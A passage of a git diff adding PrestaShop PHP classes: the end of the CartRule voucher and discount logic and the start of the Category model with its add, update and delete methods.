`'._DB_PREFIX_.'category_product` catp ON cp.id_product = catp.id_product + WHERE cp.`id_cart` = '.(int)$context->cart->id.' + AND cp.`id_product` IN ('.implode(array_map('intval', $eligibleProductsList), ',').')'); + $countMatchingProducts = 0; + $matchingProductsList = array(); + foreach ($cartCategories as $cartCategory) + if (in_array($cartCategory['id_category'], $productRule['values']) + // We also check that the product is not already in the matching product list, because there are doubles in the query results (when the product is in multiple categories) + && !in_array($cartCategory['id_product'].'-'.$cartCategory['id_product_attribute'], $matchingProductsList)) + { + $countMatchingProducts += $cartCategory['quantity']; + $matchingProductsList[] = $cartCategory['id_product'].'-'.$cartCategory['id_product_attribute']; + } + if ($countMatchingProducts < $productRuleGroup['quantity']) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher with these products'); + // Attribute id is not important for this filter in the global list, so the ids are replaced by 0 + foreach ($matchingProductsList as &$matchingProduct) + $matchingProduct = preg_replace('/^([0-9]+)-[0-9]+$/', '$1-0', $matchingProduct); + $eligibleProductsList = CartRule::array_uintersect($eligibleProductsList, $matchingProductsList); + break; + case 'manufacturers': + $cartManufacturers = Db::getInstance()->executeS(' + SELECT cp.quantity, cp.`id_product`, p.`id_manufacturer` + FROM `'._DB_PREFIX_.'cart_product` cp + LEFT JOIN `'._DB_PREFIX_.'product` p ON cp.id_product = p.id_product + WHERE cp.`id_cart` = '.(int)$context->cart->id.' + AND cp.`id_product` IN ('.implode(array_map('intval', $eligibleProductsList), ',').')'); + $countMatchingProducts = 0; + $matchingProductsList = array(); + foreach ($cartManufacturers as $cartManufacturer) + if (in_array($cartManufacturer['id_manufacturer'], $productRule['values'])) + { + $countMatchingProducts += $cartManufacturer['quantity']; + $matchingProductsList[] = $cartManufacturer['id_product'].'-0'; + } + if ($countMatchingProducts < $productRuleGroup['quantity']) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher with these products'); + $eligibleProductsList = CartRule::array_uintersect($eligibleProductsList, $matchingProductsList); + break; + case 'suppliers': + $cartSuppliers = Db::getInstance()->executeS(' + SELECT cp.quantity, cp.`id_product`, p.`id_supplier` + FROM `'._DB_PREFIX_.'cart_product` cp + LEFT JOIN `'._DB_PREFIX_.'product` p ON cp.id_product = p.id_product + WHERE cp.`id_cart` = '.(int)$context->cart->id.' + AND cp.`id_product` IN ('.implode(array_map('intval', $eligibleProductsList), ',').')'); + $countMatchingProducts = 0; + $matchingProductsList = array(); + foreach ($cartSuppliers as $cartSupplier) + if (in_array($cartSupplier['id_supplier'], $productRule['values'])) + { + $countMatchingProducts += $cartSupplier['quantity']; + $matchingProductsList[] = $cartSupplier['id_product'].'-0'; + } + if ($countMatchingProducts < $productRuleGroup['quantity']) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher with these products'); + $eligibleProductsList = CartRule::array_uintersect($eligibleProductsList, $matchingProductsList); + break; + } + + if (!count($eligibleProductsList)) + return (!$display_error) ? false : Tools::displayError('You cannot use this voucher with these products'); + } + $selectedProducts = array_merge($selectedProducts, $eligibleProductsList); + } + } + + if ($return_products) + return $selectedProducts; + return (!$display_error) ? true : false; + } + + protected static function array_uintersect($array1, $array2) + { + $intersection = array(); + foreach ($array1 as $value1) + foreach ($array2 as $value2) + if (CartRule::array_uintersect_compare($value1, $value2) == 0) + { + $intersection[] = $value1; + break 1; + } + return $intersection; + } + + protected static function array_uintersect_compare($a, $b) + { + if ($a == $b) + return 0; + + $asplit = explode('-', $a); + $bsplit = explode('-', $b); + if ($asplit[0] == $bsplit[0] && (!(int)$asplit[1] || !(int)$bsplit[1])) + return 0; + + return 1; + } + + /** + * The reduction value is POSITIVE + * + * @param bool $use_tax + * @param Context $context + * @param boolean $use_cache Allow using cache to avoid multiple free gift using multishipping + * @return float|int|string + */ + public function getContextualValue($use_tax, Context $context = null, $filter = null, $package = null, $use_cache = true) + { + if (!CartRule::isFeatureActive()) + return 0; + if (!$context) + $context = Context::getContext(); + if (!$filter) + $filter = CartRule::FILTER_ACTION_ALL; + + $all_products = $context->cart->getProducts(); + $package_products = (is_null($package) ? $all_products : $package['products']); + + $reduction_value = 0; + + $cache_id = 'getContextualValue_'.(int)$this->id.'_'.(int)$use_tax.'_'.(int)$context->cart->id.'_'.(int)$filter; + foreach ($package_products as $product) + $cache_id .= '_'.(int)$product['id_product'].'_'.(int)$product['id_product_attribute']; + + if (Cache::isStored($cache_id)) + return Cache::retrieve($cache_id); + + // Free shipping on selected carriers + if ($this->free_shipping && in_array($filter, array(CartRule::FILTER_ACTION_ALL, CartRule::FILTER_ACTION_ALL_NOCAP, CartRule::FILTER_ACTION_SHIPPING))) + { + if (!$this->carrier_restriction) + $reduction_value += $context->cart->getOrderTotal($use_tax, Cart::ONLY_SHIPPING, is_null($package) ? null : $package['products'], is_null($package) ? null : $package['id_carrier']); + else + { + $data = Db::getInstance()->executeS(' + SELECT crc.id_cart_rule, c.id_carrier + FROM '._DB_PREFIX_.'cart_rule_carrier crc + INNER JOIN '._DB_PREFIX_.'carrier c ON (c.id_reference = crc.id_carrier AND c.deleted = 0) + WHERE crc.id_cart_rule = '.(int)$this->id.' + AND c.id_carrier = '.(int)$context->cart->id_carrier); + + if ($data) + foreach ($data as $cart_rule) + $reduction_value += $context->cart->getCarrierCost((int)$cart_rule['id_carrier'], $use_tax, $context->country); + } + } + + if (in_array($filter, array(CartRule::FILTER_ACTION_ALL, CartRule::FILTER_ACTION_ALL_NOCAP, CartRule::FILTER_ACTION_REDUCTION))) + { + // Discount (%) on the whole order + if ($this->reduction_percent && $this->reduction_product == 0) + { + // Do not give a reduction on free products! + $order_total = $context->cart->getOrderTotal($use_tax, Cart::ONLY_PRODUCTS, $package_products); + foreach ($context->cart->getCartRules(CartRule::FILTER_ACTION_GIFT) as $cart_rule) + $order_total -= Tools::ps_round($cart_rule['obj']->getContextualValue($use_tax, $context, CartRule::FILTER_ACTION_GIFT, $package), 2); + + $reduction_value += $order_total * $this->reduction_percent / 100; + } + + // Discount (%) on a specific product + if ($this->reduction_percent && $this->reduction_product > 0) + { + foreach ($package_products as $product) + if ($product['id_product'] == $this->reduction_product) + $reduction_value += ($use_tax ? $product['total_wt'] : $product['total']) * $this->reduction_percent / 100; + } + + // Discount (%) on the cheapest product + if ($this->reduction_percent && $this->reduction_product == -1) + { + $minPrice = false; + $cheapest_product = null; + foreach ($all_products as $product) + { + $price = ($use_tax ? $product['price_wt'] : $product['price']); + if ($price > 0 && ($minPrice === false || $minPrice > $price)) + { + $minPrice = $price; + $cheapest_product = $product['id_product'].'-'.$product['id_product_attribute']; + } + } + + // Check if the cheapest product is in the package + $in_package = false; + foreach ($package_products as $product) + if ($product['id_product'].'-'.$product['id_product_attribute'] == $cheapest_product || $product['id_product'].'-0' == $cheapest_product) + $in_package = true; + if ($in_package) + $reduction_value += $minPrice * $this->reduction_percent / 100; + } + + // Discount (%) on the selection of products + if ($this->reduction_percent && $this->reduction_product == -2) + { + $selected_products_reduction = 0; + $selected_products = $this->checkProductRestrictions($context, true); + if (is_array($selected_products)) + foreach ($package_products as $product) + if (in_array($product['id_product'].'-'.$product['id_product_attribute'], $selected_products) + || in_array($product['id_product'].'-0', $selected_products)) + { + $price = ($use_tax ? $product['price_wt'] : $product['price']); + $selected_products_reduction += $price * $product['cart_quantity']; + } + $reduction_value += $selected_products_reduction * $this->reduction_percent / 100; + } + + // Discount (¤) + if ($this->reduction_amount) + { + $prorata = 1; + if (!is_null($package) && count($all_products)) + { + $total_products = $context->cart->getOrderTotal($use_tax, Cart::ONLY_PRODUCTS); + if ($total_products) + $prorata = $context->cart->getOrderTotal($use_tax, Cart::ONLY_PRODUCTS, $package['products']) / $total_products; + } + + $reduction_amount = $this->reduction_amount; + // If we need to convert the voucher value to the cart currency + if ($this->reduction_currency != $context->currency->id) + { + $voucherCurrency = new Currency($this->reduction_currency); + + // First we convert the voucher value to the default currency + if ($reduction_amount == 0 || $voucherCurrency->conversion_rate == 0) + $reduction_amount = 0; + else + $reduction_amount /= $voucherCurrency->conversion_rate; + + // Then we convert the voucher value in the default currency into the cart currency + $reduction_amount *= $context->currency->conversion_rate; + $reduction_amount = Tools::ps_round($reduction_amount); + } + + // If it has the same tax application that you need, then it's the right value, whatever the product! + if ($this->reduction_tax == $use_tax) + { + // The reduction cannot exceed the products total, except when we do not want it to be limited (for the partial use calculation) + if ($filter != CartRule::FILTER_ACTION_ALL_NOCAP) + { + $cart_amount = $context->cart->getOrderTotal($use_tax, Cart::ONLY_PRODUCTS); + $reduction_amount = min($reduction_amount, $cart_amount); + } + $reduction_value += $prorata * $reduction_amount; + } + else + { + if ($this->reduction_product > 0) + { + foreach ($context->cart->getProducts() as $product) + if ($product['id_product'] == $this->reduction_product) + { + $product_price_ti = $product['price_wt']; + $product_price_te = $product['price']; + $product_vat_amount = $product_price_ti - $product_price_te; + + if ($product_vat_amount == 0 || $product_price_te == 0) + $product_vat_rate = 0; + else + $product_vat_rate = $product_vat_amount / $product_price_te; + + if ($this->reduction_tax && !$use_tax) + $reduction_value += $prorata * $reduction_amount / (1 + $product_vat_rate); + elseif (!$this->reduction_tax && $use_tax) + $reduction_value += $prorata * $reduction_amount * (1 + $product_vat_rate); + } + } + // Discount (¤) on the whole order + elseif ($this->reduction_product == 0) + { + $cart_amount_ti = $context->cart->getOrderTotal(true, Cart::ONLY_PRODUCTS); + $cart_amount_te = $context->cart->getOrderTotal(false, Cart::ONLY_PRODUCTS); + + // The reduction cannot exceed the products total, except when we do not want it to be limited (for the partial use calculation) + if ($filter != CartRule::FILTER_ACTION_ALL_NOCAP) + $reduction_amount = min($reduction_amount, $this->reduction_tax ? $cart_amount_ti : $cart_amount_te); + + $cart_vat_amount = $cart_amount_ti - $cart_amount_te; + + if ($cart_vat_amount == 0 || $cart_amount_te == 0) + $cart_average_vat_rate = 0; + else + $cart_average_vat_rate = Tools::ps_round($cart_vat_amount / $cart_amount_te, 3); + + if ($this->reduction_tax && !$use_tax) + $reduction_value += $prorata * $reduction_amount / (1 + $cart_average_vat_rate); + elseif (!$this->reduction_tax && $use_tax) + $reduction_value += $prorata * $reduction_amount * (1 + $cart_average_vat_rate); + } + /* + * Reduction on the cheapest or on the selection is not really meaningful and has been disabled in the backend + * Please keep this code, so it won't be considered as a bug + * elseif ($this->reduction_product == -1) + * elseif ($this->reduction_product == -2) + */ + } + } + } + + // Free gift + if ((int)$this->gift_product && in_array($filter, array(CartRule::FILTER_ACTION_ALL, CartRule::FILTER_ACTION_ALL_NOCAP, CartRule::FILTER_ACTION_GIFT))) + { + $id_address = (is_null($package) ? 0 : $package['id_address']); + foreach ($package_products as $product) + if ($product['id_product'] == $this->gift_product && ($product['id_product_attribute'] == $this->gift_product_attribute || !(int)$this->gift_product_attribute)) + { + // The free gift coupon must be applied to one product only (needed for multi-shipping which manage multiple product lists) + if (!isset(CartRule::$only_one_gift[$this->id.'-'.$this->gift_product]) + || CartRule::$only_one_gift[$this->id.'-'.$this->gift_product] == $id_address + || CartRule::$only_one_gift[$this->id.'-'.$this->gift_product] == 0 + || $id_address == 0 + || !$use_cache) + { + $reduction_value += ($use_tax ? $product['price_wt'] : $product['price']); + if ($use_cache && (!isset(CartRule::$only_one_gift[$this->id.'-'.$this->gift_product]) || CartRule::$only_one_gift[$this->id.'-'.$this->gift_product] == 0)) + CartRule::$only_one_gift[$this->id.'-'.$this->gift_product] = $id_address; + break; + } + } + } + + Cache::store($cache_id, $reduction_value); + return $reduction_value; + } + + /** + * Make sure caches are empty + * Must be called before calling multiple time getContextualValue() + */ + public static function cleanCache() + { + self::$only_one_gift = array(); + } + + protected function getCartRuleCombinations() + { + $array = array(); + $array['selected'] = Db::getInstance()->executeS(' + SELECT cr.*, crl.*, 1 as selected + FROM '._DB_PREFIX_.'cart_rule cr + LEFT JOIN '._DB_PREFIX_.'cart_rule_lang crl ON (cr.id_cart_rule = crl.id_cart_rule AND crl.id_lang = '.(int)Context::getContext()->language->id.') + WHERE cr.id_cart_rule != '.(int)$this->id.' + AND ( + cr.cart_rule_restriction = 0 + OR cr.id_cart_rule IN ( + SELECT IF(id_cart_rule_1 = '.(int)$this->id.', id_cart_rule_2, id_cart_rule_1) + FROM '._DB_PREFIX_.'cart_rule_combination + WHERE '.(int)$this->id.' = id_cart_rule_1 + OR '.(int)$this->id.' = id_cart_rule_2 + ) + )'); + $array['unselected'] = Db::getInstance()->executeS(' + SELECT cr.*, crl.*, 1 as selected + FROM '._DB_PREFIX_.'cart_rule cr + LEFT JOIN '._DB_PREFIX_.'cart_rule_lang crl ON (cr.id_cart_rule = crl.id_cart_rule AND crl.id_lang = '.(int)Context::getContext()->language->id.') + WHERE cr.cart_rule_restriction = 1 + AND cr.id_cart_rule != '.(int)$this->id.' + AND cr.id_cart_rule NOT IN ( + SELECT IF(id_cart_rule_1 = '.(int)$this->id.', id_cart_rule_2, id_cart_rule_1) + FROM '._DB_PREFIX_.'cart_rule_combination + WHERE '.(int)$this->id.' = id_cart_rule_1 + OR '.(int)$this->id.' = id_cart_rule_2 + )'); + return $array; + } + + public function getAssociatedRestrictions($type, $active_only, $i18n) + { + $array = array('selected' => array(), 'unselected' => array()); + + if (!in_array($type, array('country', 'carrier', 'group', 'cart_rule', 'shop'))) + return false; + + $shop_list = ''; + if ($type == 'shop') + { + $shops = Context::getContext()->employee->getAssociatedShops(); + if (count($shops)) + $shop_list = ' AND t.id_shop IN ('.implode(array_map('intval', $shops), ',').') '; + } + + if (!Validate::isLoadedObject($this) OR $this->{$type.'_restriction'} == 0) + { + $array['selected'] = Db::getInstance()->executeS(' + SELECT t.*'.($i18n ? ', tl.*' : '').', 1 as selected + FROM `'._DB_PREFIX_.$type.'` t + '.($i18n ? 'LEFT JOIN `'._DB_PREFIX_.$type.'_lang` tl ON (t.id_'.$type.' = tl.id_'.$type.' AND tl.id_lang = '.(int)Context::getContext()->language->id.')' : '').' + WHERE 1 + '.($active_only ? 'AND t.active = 1' : '').' + '.(in_array($type, array('carrier', 'shop')) ? ' AND t.deleted = 0' : '').' + '.($type == 'cart_rule' ? 'AND t.id_cart_rule != '.(int)$this->id : ''). + $shop_list. + ' ORDER BY name ASC'); + } + else + { + if ($type == 'cart_rule') + $array = $this->getCartRuleCombinations(); + else + { + $resource = Db::getInstance()->query(' + SELECT t.*'.($i18n ? ', tl.*' : '').', IF(crt.id_'.$type.' IS NULL, 0, 1) as selected + FROM `'._DB_PREFIX_.$type.'` t + '.($i18n ? 'LEFT JOIN `'._DB_PREFIX_.$type.'_lang` tl ON (t.id_'.$type.' = tl.id_'.$type.' AND tl.id_lang = '.(int)Context::getContext()->language->id.')' : '').' + LEFT JOIN (SELECT id_'.$type.' FROM `'._DB_PREFIX_.'cart_rule_'.$type.'` WHERE id_cart_rule = '.(int)$this->id.') crt ON t.id_'.($type == 'carrier' ? 'reference' : $type).' = crt.id_'.$type.' + WHERE 1 '.($active_only ? ' AND t.active = 1' : ''). + $shop_list + .(in_array($type, array('carrier', 'shop')) ? ' AND t.deleted = 0' : ''). + ' ORDER BY name ASC', + false); + while ($row = Db::getInstance()->nextRow($resource)) + $array[($row['selected'] || $this->{$type.'_restriction'} == 0) ? 'selected' : 'unselected'][] = $row; + } + } + return $array; + } + + public static function autoRemoveFromCart($context = null) + { + if (!$context) + $context = Context::getContext(); + if (!CartRule::isFeatureActive() || !Validate::isLoadedObject($context->cart)) + return array(); + + $errors = array(); + foreach ($context->cart->getCartRules() as $cart_rule) + { + if ($error = $cart_rule['obj']->checkValidity($context, true)) + { + $context->cart->removeCartRule($cart_rule['obj']->id); + $context->cart->update(); + $errors[] = $error; + } + } + return $errors; + } + + /** + * @static + * @param Context|null $context + * @return mixed + */ + public static function autoAddToCart(Context $context = null) + { + if ($context === null) + $context = Context::getContext(); + if (!CartRule::isFeatureActive() || !Validate::isLoadedObject($context->cart)) + return; + + $sql = ' + SELECT cr.* + FROM '._DB_PREFIX_.'cart_rule cr + LEFT JOIN '._DB_PREFIX_.'cart_rule_shop crs ON cr.id_cart_rule = crs.id_cart_rule + LEFT JOIN '._DB_PREFIX_.'cart_rule_carrier crca ON cr.id_cart_rule = crca.id_cart_rule + '.($context->cart->id_carrier ? 'LEFT JOIN '._DB_PREFIX_.'carrier c ON (c.id_reference = crca.id_carrier AND c.deleted = 0)' : '').' + LEFT JOIN '._DB_PREFIX_.'cart_rule_country crco ON cr.id_cart_rule = crco.id_cart_rule + WHERE cr.active = 1 + AND cr.code = "" + AND cr.quantity > 0 + AND cr.date_from < "'.date('Y-m-d H:i:s').'" + AND cr.date_to > "'.date('Y-m-d H:i:s').'" + AND ( + cr.id_customer = 0 + '.($context->customer->id ? 'OR cr.id_customer = '.(int)$context->cart->id_customer : '').' + ) + AND ( + cr.carrier_restriction = 0 + '.($context->cart->id_carrier ? 'OR c.id_carrier = '.(int)$context->cart->id_carrier : '').' + ) + AND ( + cr.shop_restriction = 0 + '.((Shop::isFeatureActive() && $context->shop->id) ? 'OR crs.id_shop = '.(int)$context->shop->id : '').' + ) + AND ( + cr.group_restriction = 0 + '.($context->customer->id ? 'OR 0 < ( + SELECT cg.id_group + FROM '._DB_PREFIX_.'customer_group cg + LEFT JOIN '._DB_PREFIX_.'cart_rule_group crg ON (cg.id_group = crg.id_group AND cg.id_group = '.(int)$context->customer->id_default_group.') + WHERE cr.id_cart_rule = crg.id_cart_rule + AND cg.id_customer = '.(int)$context->customer->id.' LIMIT 1 + )' : '').' + ) + AND ( + cr.reduction_product <= 0 + OR cr.reduction_product IN ( + SELECT id_product + FROM '._DB_PREFIX_.'cart_product + WHERE id_cart = '.(int)$context->cart->id.' + ) + ) + AND cr.id_cart_rule NOT IN (SELECT id_cart_rule FROM '._DB_PREFIX_.'cart_cart_rule WHERE id_cart = '.(int)$context->cart->id.') + ORDER BY priority'; + $result = Db::getInstance()->executeS($sql); + if ($result) + { + $cart_rules = ObjectModel::hydrateCollection('CartRule', $result); + if ($cart_rules) + foreach ($cart_rules as $cart_rule) + if ($cart_rule->checkValidity($context, false, false)) + $context->cart->addCartRule($cart_rule->id); + } + } + + /** + * @static + * @return bool + */ + public static function isFeatureActive() + { + static $is_feature_active = null; + if ($is_feature_active === null) + $is_feature_active = (bool)Configuration::get('PS_CART_RULE_FEATURE_ACTIVE'); + return $is_feature_active; + } + + /* When an entity associated to a product rule (product, category, attribute, supplier, manufacturer...) is deleted, the product rules must be updated */ + public static function cleanProductRuleIntegrity($type, $list) + { + // Type must be available in the 'type' enum of the table cart_rule_product_rule + if (!in_array($type, array('products', 'categories', 'attributes', 'manufacturers', 'suppliers'))) + return false; + + // This check must not be removed because this var is used a few lines below + $list = (is_array($list) ? implode(',', array_map('intval', $list)) : (int)$list); + if (!preg_match('/^[0-9,]+$/', $list)) + return false; + + // Delete associated restrictions on cart rules + Db::getInstance()->execute(' + DELETE crprv + FROM `'._DB_PREFIX_.'cart_rule_product_rule` crpr + LEFT JOIN `'._DB_PREFIX_.'cart_rule_product_rule_value` crprv ON crpr.`id_product_rule` = crprv.`id_product_rule` + WHERE crpr.`type` = "'.pSQL($type).'" + AND crprv.`id_item` IN ('.$list.')'); // $list is checked a few lines above + + // Delete the product rules that does not have any values + if (Db::getInstance()->Affected_Rows() > 0) + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'cart_rule_product_rule` + WHERE `id_product_rule` NOT IN (SELECT id_product_rule FROM `'._DB_PREFIX_.'cart_rule_product_rule_value`)'); + // If the product rules were the only conditions of a product rule group, delete the product rule group + if (Db::getInstance()->Affected_Rows() > 0) + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'cart_rule_product_rule_group` + WHERE `id_product_rule_group` NOT IN (SELECT id_product_rule_group FROM `'._DB_PREFIX_.'cart_rule_product_rule`)'); + // If the product rule group were the only restrictions of a cart rule, update de cart rule restriction cache + if (Db::getInstance()->Affected_Rows() > 0) + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'cart_rule` cr + LEFT JOIN `'._DB_PREFIX_.'cart_rule_product_rule_group` crprg ON cr.id_cart_rule = crprg.id_cart_rule + SET product_restriction = IF(crprg.id_product_rule_group IS NULL, 0, 1)'); + + return true; + } + + /** + * @static + * @param $name + * @param $id_lang + * @return array + */ + public static function getCartsRuleByCode($name, $id_lang) + { + return Db::getInstance()->executeS(' + SELECT cr.*, crl.* + FROM '._DB_PREFIX_.'cart_rule cr + LEFT JOIN '._DB_PREFIX_.'cart_rule_lang crl ON (cr.id_cart_rule = crl.id_cart_rule AND crl.id_lang = '.(int)$id_lang.') + WHERE code LIKE \'%'.pSQL($name).'%\' + '); + } +} + diff --git a/classes/Category.php b/classes/Category.php new file mode 100755 index 0000000..ac21181 --- /dev/null +++ b/classes/Category.php @@ -0,0 +1,1547 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CategoryCore extends ObjectModel +{ + public $id; + + /** @var integer category ID */ + public $id_category; + + /** @var string Name */ + public $name; + + /** @var boolean Status for display */ + public $active = 1; + + /** @var integer category position */ + public $position; + + /** @var string Description */ + public $description; + + /** @var integer Parent category ID */ + public $id_parent; + + /** @var integer default Category id */ + public $id_category_default; + + /** @var integer Parents number */ + public $level_depth; + + /** @var integer Nested tree model "left" value */ + public $nleft; + + /** @var integer Nested tree model "right" value */ + public $nright; + + /** @var string string used in rewrited URL */ + public $link_rewrite; + + /** @var string Meta title */ + public $meta_title; + + /** @var string Meta keywords */ + public $meta_keywords; + + /** @var string Meta description */ + public $meta_description; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /** @var boolean is Category Root */ + public $is_root_category; + + /** @var integer */ + public $id_shop_default; + + public $groupBox; + + protected static $_links = array(); + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'category', + 'primary' => 'id_category', + 'multilang' => true, + 'multilang_shop' => true, + 'fields' => array( + 'nleft' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'nright' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'level_depth' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'id_parent' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'id_shop_default' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'is_root_category' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'position' => array('type' => self::TYPE_INT), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCatalogName', 'required' => true, 'size' => 64), + 'link_rewrite' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isLinkRewrite', 'required' => true, 'size' => 64), + 'description' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'meta_title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 128), + 'meta_description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'meta_keywords' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + ), + ); + + /** @var string id_image is the category ID when an image exists and 'default' otherwise */ + public $id_image = 'default'; + + protected $webserviceParameters = array( + 'objectsNodeName' => 'categories', + 'hidden_fields' => array('nleft', 'nright', 'groupBox'), + 'fields' => array( + 'id_parent' => array('xlink_resource'=> 'categories'), + 'level_depth' => array('setter' => false), + 'nb_products_recursive' => array('getter' => 'getWsNbProductsRecursive', 'setter' => false), + ), + 'associations' => array( + 'categories' => array('getter' => 'getChildrenWs', 'resource' => 'category', ), + 'products' => array('getter' => 'getProductsWs', 'resource' => 'product', ), + ), + ); + + public function __construct($id_category = null, $id_lang = null, $id_shop = null) + { + parent::__construct($id_category, $id_lang, $id_shop); + $this->id_image = ($this->id && file_exists(_PS_CAT_IMG_DIR_.(int)$this->id.'.jpg')) ? (int)$this->id : false; + $this->image_dir = _PS_CAT_IMG_DIR_; + } + + /** + * Allows to display the category description without HTML tags and slashes + * + * @return string + */ + public static function getDescriptionClean($description) + { + return strip_tags(stripslashes($description)); + } + + public function add($autodate = true, $null_values = false) + { + if (!isset($this->level_depth)) + $this->level_depth = $this->calcLevelDepth(); + $ret = parent::add($autodate, $null_values); + if (Tools::isSubmit('checkBoxShopAsso_category')) + foreach (Tools::getValue('checkBoxShopAsso_category') as $id_shop => $value) + { + $position = Category::getLastPosition((int)$this->id_parent, $id_shop); + $this->addPosition($position, $id_shop); + } + else + foreach (Shop::getShops(true) as $shop) + { + $position = Category::getLastPosition((int)$this->id_parent, $shop['id_shop']); + if (!$position) + $position = 1; + $this->addPosition($position, $shop['id_shop']); + } + if (!isset($this->doNotRegenerateNTree) || !$this->doNotRegenerateNTree) + Category::regenerateEntireNtree(); + $this->updateGroup($this->groupBox); + Hook::exec('actionCategoryAdd', array('category' => $this)); + return $ret; + } + + /** + * update category positions in parent + * + * @param mixed $null_values + * @return void + */ + public function update($null_values = false) + { + if ($this->id_parent == $this->id) + throw new PrestaShopException('a category cannot be it\'s own parent'); + // Update group selection + $this->updateGroup($this->groupBox); + $this->level_depth = $this->calcLevelDepth(); + // If the parent category was changed, we don't want to have 2 categories with the same position + if ($this->getDuplicatePosition()) + { + $assos = array(); + if (Tools::isSubmit('checkBoxShopAsso_category')) + { + $check_box = Tools::getValue('checkBoxShopAsso_category'); + foreach ($check_box as $id_asso_object => $row) + { + foreach ($row as $id_shop => $value) + $assos[] = array('id_object' => (int)$id_asso_object, 'id_shop' => (int)$id_shop); + } + } + foreach ($assos as $shop) + $this->addPosition(Category::getLastPosition((int)$this->id_parent, $shop['id_shop']), $shop['id_shop']); + } + $this->cleanPositions((int)$this->id_parent); + $ret = parent::update($null_values); + if (!isset($this->doNotRegenerateNTree) || !$this->doNotRegenerateNTree) + { + Category::regenerateEntireNtree(); + $this->recalculateLevelDepth($this->id); + } + Hook::exec('actionCategoryUpdate', array('category' => $this)); + return $ret; + } + + /** + * @see ObjectModel::toggleStatus() + */ + public function toggleStatus() + { + $result = parent::toggleStatus(); + Hook::exec('actionCategoryUpdate'); + return $result; + } + + /** + * Recursive scan of subcategories + * + * @param integer $max_depth Maximum depth of the tree (i.e. 2 => 3 levels depth) + * @param integer $current_depth specify the current depth in the tree (don't use it, only for rucursivity!) + * @param integer $id_lang Specify the id of the language used + * @param array $excluded_ids_array specify a list of ids to exclude of results + * + * @return array Subcategories lite tree + */ + public function recurseLiteCategTree($max_depth = 3, $current_depth = 0, $id_lang = null, $excluded_ids_array = null) + { + $id_lang = is_null($id_lang) ? Context::getContext()->language->id : (int)$id_lang; + + $children = array(); + $subcats = $this->getSubCategories($id_lang, true); + if (($max_depth == 0 || $current_depth < $max_depth) && $subcats && count($subcats)) + foreach ($subcats as &$subcat) + { + if (!$subcat['id_category']) + break; + else if (!is_array($excluded_ids_array) || !in_array($subcat['id_category'], $excluded_ids_array)) + { + $categ = new Category($subcat['id_category'], $id_lang); + $children[] = $categ->recurseLiteCategTree($max_depth, $current_depth + 1, $id_lang, $excluded_ids_array); + } + } + + if (is_array($this->description)) + foreach ($this->description as $lang => $description) + $this->description[$lang] = Category::getDescriptionClean($description); + else + $this->description = Category::getDescriptionClean($this->description); + + return array( + 'id' => (int)$this->id, + 'link' => Context::getContext()->link->getCategoryLink($this->id, $this->link_rewrite), + 'name' => $this->name, + 'desc'=> $this->description, + 'children' => $children + ); + } + + public static function recurseCategory($categories, $current, $id_category = 1, $id_selected = 1) + { + echo ''; + if (isset($categories[$id_category])) + foreach (array_keys($categories[$id_category]) as $key) + Category::recurseCategory($categories, $categories[$id_category][$key], $key, $id_selected); + } + + + /** + * Recursively add specified category childs to $to_delete array + * + * @param array &$to_delete Array reference where categories ID will be saved + * @param array $id_category Parent category ID + */ + protected function recursiveDelete(&$to_delete, $id_category) + { + if (!is_array($to_delete) || !$id_category) + die(Tools::displayError()); + + $result = Db::getInstance()->executeS(' + SELECT `id_category` + FROM `'._DB_PREFIX_.'category` + WHERE `id_parent` = '.(int)$id_category); + foreach ($result as $row) + { + $to_delete[] = (int)$row['id_category']; + $this->recursiveDelete($to_delete, (int)$row['id_category']); + } + } + + public function deleteLite() + { + // Directly call the parent of delete, in order to avoid recursion + return parent::delete(); + } + + public function delete() + { + if ((int)$this->id === 0 || (int)$this->id === 1) + return false; + + $this->clearCache(); + + $all_cat = $this->getAllChildren(); + $all_cat[] = $this; + foreach ($all_cat as $cat) + { + $cat->deleteLite(); + if (!$this->hasMultishopEntries()) + { + $cat->deleteImage(); + $cat->cleanGroups(); + $cat->cleanAssoProducts(); + // Delete associated restrictions on cart rules + CartRule::cleanProductRuleIntegrity('categories', array($cat->id)); + Category::cleanPositions($cat->id_parent); + /* Delete Categories in GroupReduction */ + if (GroupReduction::getGroupsReductionByCategoryId((int)$cat->id)) + GroupReduction::deleteCategory($cat->id); + } + } + + /* Rebuild the nested tree */ + if (!$this->hasMultishopEntries() && (!isset($this->doNotRegenerateNTree) || !$this->doNotRegenerateNTree)) + Category::regenerateEntireNtree(); + + Hook::exec('actionCategoryDelete', array('category' => $this)); + + return true; + } + + /** + * Delete several categories from database + * + * return boolean Deletion result + */ + public function deleteSelection($categories) + { + $return = 1; + foreach ($categories as $id_category) + { + $category = new Category($id_category); + if ($category->isRootCategoryForAShop()) + return false; + else + $return &= $category->delete(); + } + return $return; + } + + /** + * Get the depth level for the category + * + * @return integer 